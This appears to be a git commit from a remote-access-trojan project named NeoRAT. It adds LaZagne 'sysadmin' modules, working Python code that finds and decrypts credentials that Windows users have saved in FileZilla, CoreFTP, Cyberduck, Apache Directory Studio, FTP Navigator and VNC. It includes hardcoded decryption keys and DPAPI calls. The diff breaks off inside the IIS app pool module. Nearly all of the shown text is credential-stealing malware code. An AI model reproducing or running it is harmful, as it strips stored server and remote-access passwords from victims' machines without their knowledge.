summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/sysadmin
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/sysadmin
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/sysadmin')
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py62
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py58
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py48
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/d3des.py391
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py53
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py42
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py44
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py76
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py138
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py116
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py90
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py55
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py51
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py96
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/unattended.py75
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/vnc.py162
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/winscp.py129
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/wsl.py44
19 files changed, 1730 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py b/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py
new file mode 100644
index 0000000..14a8b4a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py
@@ -0,0 +1,62 @@
+# -*- coding: utf-8 -*-
+from xml.etree.ElementTree import parse
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import *
+
+import os
+
+
+class ApacheDirectoryStudio(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin')
+ # Interesting XML attributes in ADS connection configuration
+ self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"]
+
+ def extract_connections_credentials(self):
+ """
+ Extract all connection's credentials.
+
+ :return: List of dict in which one dict contains all information for a connection.
+ """
+ repos_creds = []
+ connection_file_location = os.path.join(
+ constant.profile["USERPROFILE"],
+ u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml'
+ )
+ if os.path.isfile(connection_file_location):
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//connection")
+ for connection_node in connection_nodes:
+ creds = {}
+ for connection_attr_name in connection_node.attrib:
+ if connection_attr_name in self.attr_to_extract:
+ creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip()
+ if creds:
+ repos_creds.append(creds)
+ except Exception as e:
+ self.error(u"Cannot retrieve connections credentials '%s'" % e)
+
+ return repos_creds
+
+ def run(self):
+ """
+ Main function
+ """
+ # Extract all available connections credentials
+ repos_creds = self.extract_connections_credentials()
+
+ # Parse and process the list of connections credentials
+ pwd_found = []
+ for creds in repos_creds:
+ pwd_found.append({
+ "Host" : creds["host"],
+ "Port" : creds["port"],
+ "Login" : creds["bindPrincipal"],
+ "Password" : creds["bindPassword"],
+ "AuthenticationMethod" : creds["authMethod"]
+ })
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py
new file mode 100644
index 0000000..cccfffa
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py
@@ -0,0 +1,58 @@
+# -*- coding: utf-8 -*-
+import binascii
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER
+
+
+class CoreFTP(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'coreftp', 'sysadmin')
+
+ self._secret = "hdfzpysvpzimorhk"
+
+ def decrypt(self, hex):
+ encoded = binascii.unhexlify(hex)
+ aes = AESModeOfOperationECB(self._secret)
+ decrypted = aes.decrypt(encoded)
+ return decrypted.split('\x00')[0]
+
+ def run(self):
+ key = None
+ pwd_found = []
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites')
+ except Exception as e:
+ self.debug(str(e))
+
+ if key:
+ num_profiles = winreg.QueryInfoKey(key)[0]
+ elements = ['Host', 'Port', 'User', 'Password']
+ for n in range(num_profiles):
+ name_skey = winreg.EnumKey(key, n)
+ skey = OpenKey(key, name_skey)
+ num = winreg.QueryInfoKey(skey)[1]
+ values = {}
+ for nn in range(num):
+ k = winreg.EnumValue(skey, nn)
+ if k[0] in elements:
+ if k[0] == 'User':
+ values['Login'] = k[1]
+ pwd_found.append(values)
+ if k[0] == 'PW':
+ try:
+ values['Password'] = self.decrypt(k[1])
+ except Exception as e:
+ self.debug(str(e))
+ else:
+ values[k[0]] = k[1]
+
+ winreg.CloseKey(skey)
+ winreg.CloseKey(key)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py b/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py
new file mode 100644
index 0000000..a72a0a6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py
@@ -0,0 +1,48 @@
+# -*- coding: utf-8 -*-
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode
+
+import os
+
+
+class Cyberduck(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True)
+
+ # find the user.config file containing passwords
+ def get_application_path(self):
+ directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck')
+ if os.path.exists(directory):
+ for dr in os.listdir(directory):
+ if dr.startswith(u'Cyberduck'):
+ for d in os.listdir(os.path.join(directory, string_to_unicode(dr))):
+ path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config')
+ return path
+
+ def run(self):
+ xml_file = self.get_application_path()
+ if xml_file and os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+
+ pwd_found = []
+ for elem in tree.iter():
+ try:
+ if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \
+ or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \
+ or elem.attrib['name'].startswith('https'):
+ encrypted_password = base64.b64decode(elem.attrib['value'])
+ password = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ pwd_found.append({
+ 'URL': elem.attrib['name'],
+ 'Password': password,
+ })
+ except Exception as e:
+ self.debug(str(e))
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py b/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py
new file mode 100644
index 0000000..1670b42
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py
@@ -0,0 +1,391 @@
+#!/usr/bin/env python
+#
+# d3des.py - DES implementation
+#
+# Copyright (c) 2009 by Yusuke Shinyama
+#
+
+# This is a Python rewrite of d3des.c by Richard Outerbridge.
+#
+# I referred to the original VNC viewer code for the changes that
+# is necessary to maintain the exact behavior of the VNC protocol.
+# Two constants and two functions were added to the original d3des
+# code. These added parts were written in Python and marked
+# below. I believe that the added parts do not make this program
+# a "derivative work" of the VNC viewer (which is GPL'ed and
+# written in C), but if there's any problem, let me know.
+#
+# Yusuke Shinyama (yusuke at cs dot nyu dot edu)
+
+
+# D3DES (V5.09) -
+#
+# A portable, public domain, version of the Data Encryption Standard.
+#
+# Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge.
+# Thanks to: Dan Hoey for his excellent Initial and Inverse permutation
+# code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis
+# Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau,
+# for humouring me on.
+#
+# Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge.
+# (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992.
+#
+
+from struct import pack, unpack
+
+
+###################################################
+#
+# start: changes made for VNC.
+#
+
+# This constant was taken from vncviewer/rfb/vncauth.c:
+vnckey = [23, 82, 107, 6, 35, 78, 88, 7]
+
+# This is a departure from the original code.
+# bytebit = [ 0200, 0100, 040, 020, 010, 04, 02, 01 ] # original
+bytebit = [0o1, 0o2, 0o4, 0o10, 0o20, 0o40, 0o100, 0o200] # VNC version
+
+
+# two password functions for VNC protocol.
+
+
+def decrypt_passwd(data):
+ dk = deskey(pack('8B', *vnckey), True)
+ return desfunc(data, dk)
+
+
+def generate_response(passwd, challange):
+ ek = deskey((passwd+'\x00'*8)[:8], False)
+ return desfunc(challange[:8], ek) + desfunc(challange[8:], ek)
+
+###
+# end: changes made for VNC.
+#
+###################################################
+
+
+bigbyte = [
+ 0x800000, 0x400000, 0x200000, 0x100000,
+ 0x80000, 0x40000, 0x20000, 0x10000,
+ 0x8000, 0x4000, 0x2000, 0x1000,
+ 0x800, 0x400, 0x200, 0x100,
+ 0x80, 0x40, 0x20, 0x10,
+ 0x8, 0x4, 0x2, 0x1
+ ]
+
+# Use the key schedule specified in the Standard (ANSI X3.92-1981).
+
+pc1 = [
+ 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17,
+ 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35,
+ 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21,
+ 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3
+ ]
+
+totrot = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28]
+
+pc2 = [
+ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9,
+ 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1,
+ 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
+ 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31
+ ]
+
+
+def deskey(key, decrypt): # Thanks to James Gillogly & Phil Karn!
+ key = unpack('8B', key)
+
+ pc1m = [0]*56
+ pcr = [0]*56
+ kn = [0]*32
+
+ for j in range(56):
+ l = pc1[j]
+ m = l & 0o7
+ if key[l >> 3] & bytebit[m]:
+ pc1m[j] = 1
+ else:
+ pc1m[j] = 0
+
+ for i in range(16):
+ if decrypt:
+ m = (15 - i) << 1
+ else:
+ m = i << 1
+ n = m + 1
+ kn[m] = kn[n] = 0
+ for j in range(28):
+ l = j + totrot[i]
+ if l < 28:
+ pcr[j] = pc1m[l]
+ else:
+ pcr[j] = pc1m[l - 28]
+ for j in range(28, 56):
+ l = j + totrot[i]
+ if l < 56:
+ pcr[j] = pc1m[l]
+ else:
+ pcr[j] = pc1m[l - 28]
+ for j in range(24):
+ if pcr[pc2[j]]:
+ kn[m] |= bigbyte[j]
+ if pcr[pc2[j+24]]:
+ kn[n] |= bigbyte[j]
+
+ return cookey(kn)
+
+
+def cookey(raw):
+ key = []
+ for i in range(0, 32, 2):
+ (raw0, raw1) = (raw[i], raw[i+1])
+ k = (raw0 & 0x00fc0000) << 6
+ k |= (raw0 & 0x00000fc0) << 10
+ k |= (raw1 & 0x00fc0000) >> 10
+ k |= (raw1 & 0x00000fc0) >> 6
+ key.append(k)
+ k = (raw0 & 0x0003f000) << 12
+ k |= (raw0 & 0x0000003f) << 16
+ k |= (raw1 & 0x0003f000) >> 4
+ k |= (raw1 & 0x0000003f)
+ key.append(k)
+ return key
+
+
+SP1 = [
+ 0x01010400, 0x00000000, 0x00010000, 0x01010404,
+ 0x01010004, 0x00010404, 0x00000004, 0x00010000,
+ 0x00000400, 0x01010400, 0x01010404, 0x00000400,
+ 0x01000404, 0x01010004, 0x01000000, 0x00000004,
+ 0x00000404, 0x01000400, 0x01000400, 0x00010400,
+ 0x00010400, 0x01010000, 0x01010000, 0x01000404,
+ 0x00010004, 0x01000004, 0x01000004, 0x00010004,
+ 0x00000000, 0x00000404, 0x00010404, 0x01000000,
+ 0x00010000, 0x01010404, 0x00000004, 0x01010000,
+ 0x01010400, 0x01000000, 0x01000000, 0x00000400,
+ 0x01010004, 0x00010000, 0x00010400, 0x01000004,
+ 0x00000400, 0x00000004, 0x01000404, 0x00010404,
+ 0x01010404, 0x00010004, 0x01010000, 0x01000404,
+ 0x01000004, 0x00000404, 0x00010404, 0x01010400,
+ 0x00000404, 0x01000400, 0x01000400, 0x00000000,
+ 0x00010004, 0x00010400, 0x00000000, 0x01010004
+]
+
+SP2 = [
+ 0x80108020, 0x80008000, 0x00008000, 0x00108020,
+ 0x00100000, 0x00000020, 0x80100020, 0x80008020,
+ 0x80000020, 0x80108020, 0x80108000, 0x80000000,
+ 0x80008000, 0x00100000, 0x00000020, 0x80100020,
+ 0x00108000, 0x00100020, 0x80008020, 0x00000000,
+ 0x80000000, 0x00008000, 0x00108020, 0x80100000,
+ 0x00100020, 0x80000020, 0x00000000, 0x00108000,
+ 0x00008020, 0x80108000, 0x80100000, 0x00008020,
+ 0x00000000, 0x00108020, 0x80100020, 0x00100000,
+ 0x80008020, 0x80100000, 0x80108000, 0x00008000,
+ 0x80100000, 0x80008000, 0x00000020, 0x80108020,
+ 0x00108020, 0x00000020, 0x00008000, 0x80000000,
+ 0x00008020, 0x80108000, 0x00100000, 0x80000020,
+ 0x00100020, 0x80008020, 0x80000020, 0x00100020,
+ 0x00108000, 0x00000000, 0x80008000, 0x00008020,
+ 0x80000000, 0x80100020, 0x80108020, 0x00108000
+]
+
+SP3 = [
+ 0x00000208, 0x08020200, 0x00000000, 0x08020008,
+ 0x08000200, 0x00000000, 0x00020208, 0x08000200,
+ 0x00020008, 0x08000008, 0x08000008, 0x00020000,
+ 0x08020208, 0x00020008, 0x08020000, 0x00000208,
+ 0x08000000, 0x00000008, 0x08020200, 0x00000200,
+ 0x00020200, 0x08020000, 0x08020008, 0x00020208,
+ 0x08000208, 0x00020200, 0x00020000, 0x08000208,
+ 0x00000008, 0x08020208, 0x00000200, 0x08000000,
+ 0x08020200, 0x08000000, 0x00020008, 0x00000208,
+ 0x00020000, 0x08020200, 0x08000200, 0x00000000,
+ 0x00000200, 0x00020008, 0x08020208, 0x08000200,
+ 0x08000008, 0x00000200, 0x00000000, 0x08020008,
+ 0x08000208, 0x00020000, 0x08000000, 0x08020208,
+ 0x00000008, 0x00020208, 0x00020200, 0x08000008,
+ 0x08020000, 0x08000208, 0x00000208, 0x08020000,
+ 0x00020208, 0x00000008, 0x08020008, 0x00020200
+]
+
+SP4 = [
+ 0x00802001, 0x00002081, 0x00002081, 0x00000080,
+ 0x00802080, 0x00800081, 0x00800001, 0x00002001,
+ 0x00000000, 0x00802000, 0x00802000, 0x00802081,
+ 0x00000081, 0x00000000, 0x00800080, 0x00800001,
+ 0x00000001, 0x00002000, 0x00800000, 0x00802001,
+ 0x00000080, 0x00800000, 0x00002001, 0x00002080,
+ 0x00800081, 0x00000001, 0x00002080, 0x00800080,
+ 0x00002000, 0x00802080, 0x00802081, 0x00000081,
+ 0x00800080, 0x00800001, 0x00802000, 0x00802081,
+ 0x00000081, 0x00000000, 0x00000000, 0x00802000,
+ 0x00002080, 0x00800080, 0x00800081, 0x00000001,
+ 0x00802001, 0x00002081, 0x00002081, 0x00000080,
+ 0x00802081, 0x00000081, 0x00000001, 0x00002000,
+ 0x00800001, 0x00002001, 0x00802080, 0x00800081,
+ 0x00002001, 0x00002080, 0x00800000, 0x00802001,
+ 0x00000080, 0x00800000, 0x00002000, 0x00802080
+]
+
+SP5 = [
+ 0x00000100, 0x02080100, 0x02080000, 0x42000100,
+ 0x00080000, 0x00000100, 0x40000000, 0x02080000,
+ 0x40080100, 0x00080000, 0x02000100, 0x40080100,
+ 0x42000100, 0x42080000, 0x00080100, 0x40000000,
+ 0x02000000, 0x40080000, 0x40080000, 0x00000000,
+ 0x40000100, 0x42080100, 0x42080100, 0x02000100,
+ 0x42080000, 0x40000100, 0x00000000, 0x42000000,
+ 0x02080100, 0x02000000, 0x42000000, 0x00080100,
+ 0x00080000, 0x42000100, 0x00000100, 0x02000000,
+ 0x40000000, 0x02080000, 0x42000100, 0x40080100,
+ 0x02000100, 0x40000000, 0x42080000, 0x02080100,
+ 0x40080100, 0x00000100, 0x02000000, 0x42080000,
+ 0x42080100, 0x00080100, 0x42000000, 0x42080100,
+ 0x02080000, 0x00000000, 0x40080000, 0x42000000,
+ 0x00080100, 0x02000100, 0x40000100, 0x00080000,
+ 0x00000000, 0x40080000, 0x02080100, 0x40000100
+]
+
+SP6 = [
+ 0x20000010, 0x20400000, 0x00004000, 0x20404010,
+ 0x20400000, 0x00000010, 0x20404010, 0x00400000,
+ 0x20004000, 0x00404010, 0x00400000, 0x20000010,
+ 0x00400010, 0x20004000, 0x20000000, 0x00004010,
+ 0x00000000, 0x00400010, 0x20004010, 0x00004000,
+ 0x00404000, 0x20004010, 0x00000010, 0x20400010,
+ 0x20400010, 0x00000000, 0x00404010, 0x20404000,
+ 0x00004010, 0x00404000, 0x20404000, 0x20000000,
+ 0x20004000, 0x00000010, 0x20400010, 0x00404000,
+ 0x20404010, 0x00400000, 0x00004010, 0x20000010,
+ 0x00400000, 0x20004000, 0x20000000, 0x00004010,
+ 0x20000010, 0x20404010, 0x00404000, 0x20400000,
+ 0x00404010, 0x20404000, 0x00000000, 0x20400010,
+ 0x00000010, 0x00004000, 0x20400000, 0x00404010,
+ 0x00004000, 0x00400010, 0x20004010, 0x00000000,
+ 0x20404000, 0x20000000, 0x00400010, 0x20004010
+]
+
+SP7 = [
+ 0x00200000, 0x04200002, 0x04000802, 0x00000000,
+ 0x00000800, 0x04000802, 0x00200802, 0x04200800,
+ 0x04200802, 0x00200000, 0x00000000, 0x04000002,
+ 0x00000002, 0x04000000, 0x04200002, 0x00000802,
+ 0x04000800, 0x00200802, 0x00200002, 0x04000800,
+ 0x04000002, 0x04200000, 0x04200800, 0x00200002,
+ 0x04200000, 0x00000800, 0x00000802, 0x04200802,
+ 0x00200800, 0x00000002, 0x04000000, 0x00200800,
+ 0x04000000, 0x00200800, 0x00200000, 0x04000802,
+ 0x04000802, 0x04200002, 0x04200002, 0x00000002,
+ 0x00200002, 0x04000000, 0x04000800, 0x00200000,
+ 0x04200800, 0x00000802, 0x00200802, 0x04200800,
+ 0x00000802, 0x04000002, 0x04200802, 0x04200000,
+ 0x00200800, 0x00000000, 0x00000002, 0x04200802,
+ 0x00000000, 0x00200802, 0x04200000, 0x00000800,
+ 0x04000002, 0x04000800, 0x00000800, 0x00200002
+]
+
+SP8 = [
+ 0x10001040, 0x00001000, 0x00040000, 0x10041040,
+ 0x10000000, 0x10001040, 0x00000040, 0x10000000,
+ 0x00040040, 0x10040000, 0x10041040, 0x00041000,
+ 0x10041000, 0x00041040, 0x00001000, 0x00000040,
+ 0x10040000, 0x10000040, 0x10001000, 0x00001040,
+ 0x00041000, 0x00040040, 0x10040040, 0x10041000,
+ 0x00001040, 0x00000000, 0x00000000, 0x10040040,
+ 0x10000040, 0x10001000, 0x00041040, 0x00040000,
+ 0x00041040, 0x00040000, 0x10041000, 0x00001000,
+ 0x00000040, 0x10040040, 0x00001000, 0x00041040,
+ 0x10001000, 0x00000040, 0x10000040, 0x10040000,
+ 0x10040040, 0x10000000, 0x00040000, 0x10001040,
+ 0x00000000, 0x10041040, 0x00040040, 0x10000040,
+ 0x10040000, 0x10001000, 0x10001040, 0x00000000,
+ 0x10041040, 0x00041000, 0x00041000, 0x00001040,
+ 0x00001040, 0x00040040, 0x10000000, 0x10041000
+]
+
+
+def desfunc(block, keys):
+ (leftt, right) = unpack('>II', block)
+
+ work = ((leftt >> 4) ^ right) & 0x0f0f0f0f
+ right ^= work
+ leftt ^= (work << 4)
+ work = ((leftt >> 16) ^ right) & 0x0000ffff
+ right ^= work
+ leftt ^= (work << 16)
+ work = ((right >> 2) ^ leftt) & 0x33333333
+ leftt ^= work
+ right ^= (work << 2)
+ work = ((right >> 8) ^ leftt) & 0x00ff00ff
+ leftt ^= work
+ right ^= (work << 8)
+ right = ((right << 1) | ((right >> 31) & 1)) & 0xffffffff
+ work = (leftt ^ right) & 0xaaaaaaaa
+ leftt ^= work
+ right ^= work
+ leftt = ((leftt << 1) | ((leftt >> 31) & 1)) & 0xffffffff
+
+ for i in range(0, 32, 4):
+ work = (right << 28) | (right >> 4)
+ work ^= keys[i]
+ fval = SP7[work & 0x3f]
+ fval |= SP5[(work >> 8) & 0x3f]
+ fval |= SP3[(work >> 16) & 0x3f]
+ fval |= SP1[(work >> 24) & 0x3f]
+ work = right ^ keys[i+1]
+ fval |= SP8[work & 0x3f]
+ fval |= SP6[(work >> 8) & 0x3f]
+ fval |= SP4[(work >> 16) & 0x3f]
+ fval |= SP2[(work >> 24) & 0x3f]
+ leftt ^= fval
+ work = (leftt << 28) | (leftt >> 4)
+ work ^= keys[i+2]
+ fval = SP7[work & 0x3f]
+ fval |= SP5[(work >> 8) & 0x3f]
+ fval |= SP3[(work >> 16) & 0x3f]
+ fval |= SP1[(work >> 24) & 0x3f]
+ work = leftt ^ keys[i+3]
+ fval |= SP8[work & 0x3f]
+ fval |= SP6[(work >> 8) & 0x3f]
+ fval |= SP4[(work >> 16) & 0x3f]
+ fval |= SP2[(work >> 24) & 0x3f]
+ right ^= fval
+
+ right = (right << 31) | (right >> 1)
+ work = (leftt ^ right) & 0xaaaaaaaa
+ leftt ^= work
+ right ^= work
+ leftt = (leftt << 31) | (leftt >> 1)
+ work = ((leftt >> 8) ^ right) & 0x00ff00ff
+ right ^= work
+ leftt ^= (work << 8)
+ work = ((leftt >> 2) ^ right) & 0x33333333
+ right ^= work
+ leftt ^= (work << 2)
+ work = ((right >> 16) ^ leftt) & 0x0000ffff
+ leftt ^= work
+ right ^= (work << 16)
+ work = ((right >> 4) ^ leftt) & 0x0f0f0f0f
+ leftt ^= work
+ right ^= (work << 4)
+
+ leftt &= 0xffffffff
+ right &= 0xffffffff
+ return pack('>II', right, leftt)
+
+
+# test
+if __name__ == '__main__':
+ import binascii
+ key = binascii.unhexlify('0123456789abcdef')
+ plain = binascii.unhexlify('0123456789abcdef')
+ cipher = binascii.unhexlify('6e09a37726dd560c')
+ ek = deskey(key, False)
+ dk = deskey(key, True)
+ assert desfunc(plain, ek) == cipher
+ assert desfunc(desfunc(plain, ek), dk) == plain
+ assert desfunc(desfunc(plain, dk), ek) == plain
+ print('test succeeded.')
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py b/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py
new file mode 100644
index 0000000..fb6d929
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class Filezilla(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'filezilla', 'sysadmin')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'FileZilla')
+ if os.path.exists(path):
+ pwd_found = []
+ for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']:
+
+ xml_file = os.path.join(path, file)
+ if os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+ if tree.findall('Servers/Server'):
+ servers = tree.findall('Servers/Server')
+ else:
+ servers = tree.findall('RecentServers/Server')
+
+ for server in servers:
+ host = server.find('Host')
+ port = server.find('Port')
+ login = server.find('User')
+ password = server.find('Pass')
+
+ # if all((host, port, login)) does not work
+ if host is not None and port is not None and login is not None:
+ values = {
+ 'Host': host.text,
+ 'Port': port.text,
+ 'Login': login.text,
+ }
+
+ if password is not None:
+ if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64':
+ values['Password'] = base64.b64decode(password.text)
+ else:
+ values['Password'] = password.text
+
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py b/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py
new file mode 100644
index 0000000..3bcde6d
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py
@@ -0,0 +1,42 @@
+# -*- coding: utf-8 -*-
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class FilezillaServer(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server')
+ if os.path.exists(path):
+ pwd_found = []
+ file = u'FileZilla Server Interface.xml'
+
+ xml_file = os.path.join(path, file)
+
+ if os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+ root = tree.getroot()
+ host = port = password = None
+
+ for item in root.iter("Item"):
+ if item.attrib['name'] == 'Last Server Address':
+ host = item.text
+ elif item.attrib['name'] == 'Last Server Port':
+ port = item.text
+ elif item.attrib['name'] == 'Last Server Password':
+ password = item.text
+ # if all((host, port, login)) does not work
+ if host is not None and port is not None and password is not None:
+ pwd_found = [{
+ 'Host': host,
+ 'Port': port,
+ 'Password': password,
+ }]
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py
new file mode 100644
index 0000000..3fdac5a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py
@@ -0,0 +1,44 @@
+# -*- coding: utf-8 -*-
+import struct
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class FtpNavigator(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True)
+
+ def decode(self, encode_password):
+ password = ''
+ for p in encode_password:
+ password += chr(struct.unpack('B', p)[0] ^ 0x19)
+ return password
+
+ def run(self):
+ path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt')
+ elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'}
+ if os.path.exists(path):
+ pwd_found = []
+ with open(path, 'r') as f:
+ for ff in f:
+ values = {}
+ info = ff.split(';')
+ for i in info:
+ i = i.split('=')
+ for e in elements:
+ if i[0] == e:
+ if i[0] == "Password" and i[1] != '1' and i[1] != '0':
+ values['Password'] = self.decode(i[1])
+ else:
+ values[elements[i[0]]] = i[1]
+
+ # used to save the password if it is an anonymous authentication
+ if values['Login'] == 'anonymous' and 'Password' not in values:
+ values['Password'] = 'anonymous'
+
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py b/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py
new file mode 100644
index 0000000..903365a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py
@@ -0,0 +1,76 @@
+import fnmatch
+import os
+import subprocess
+import re
+import string
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+class IISAppPool(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='iisapppool', category='sysadmin', registry_used=True, winapi_used=True)
+
+ def find_files(self, path, file):
+ """
+ Try to find all files with the same name
+ """
+ founded_files = []
+ for dirpath, dirnames, files in os.walk(path):
+ for file_name in files:
+ if fnmatch.fnmatch(file_name, file):
+ founded_files.append(dirpath + '\\' + file_name)
+
+ return founded_files
+
+ def execute_get_stdout(self, exe_file, arguments):
+ try:
+ proc = subprocess.Popen(exe_file + " " + arguments, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+
+ except:
+ self.debug(u'Error executing {exefile}'.format(exefile=exe_file))
+ return None
+
+ return proc.stdout
+
+ def run(self):
+ pfound = []
+
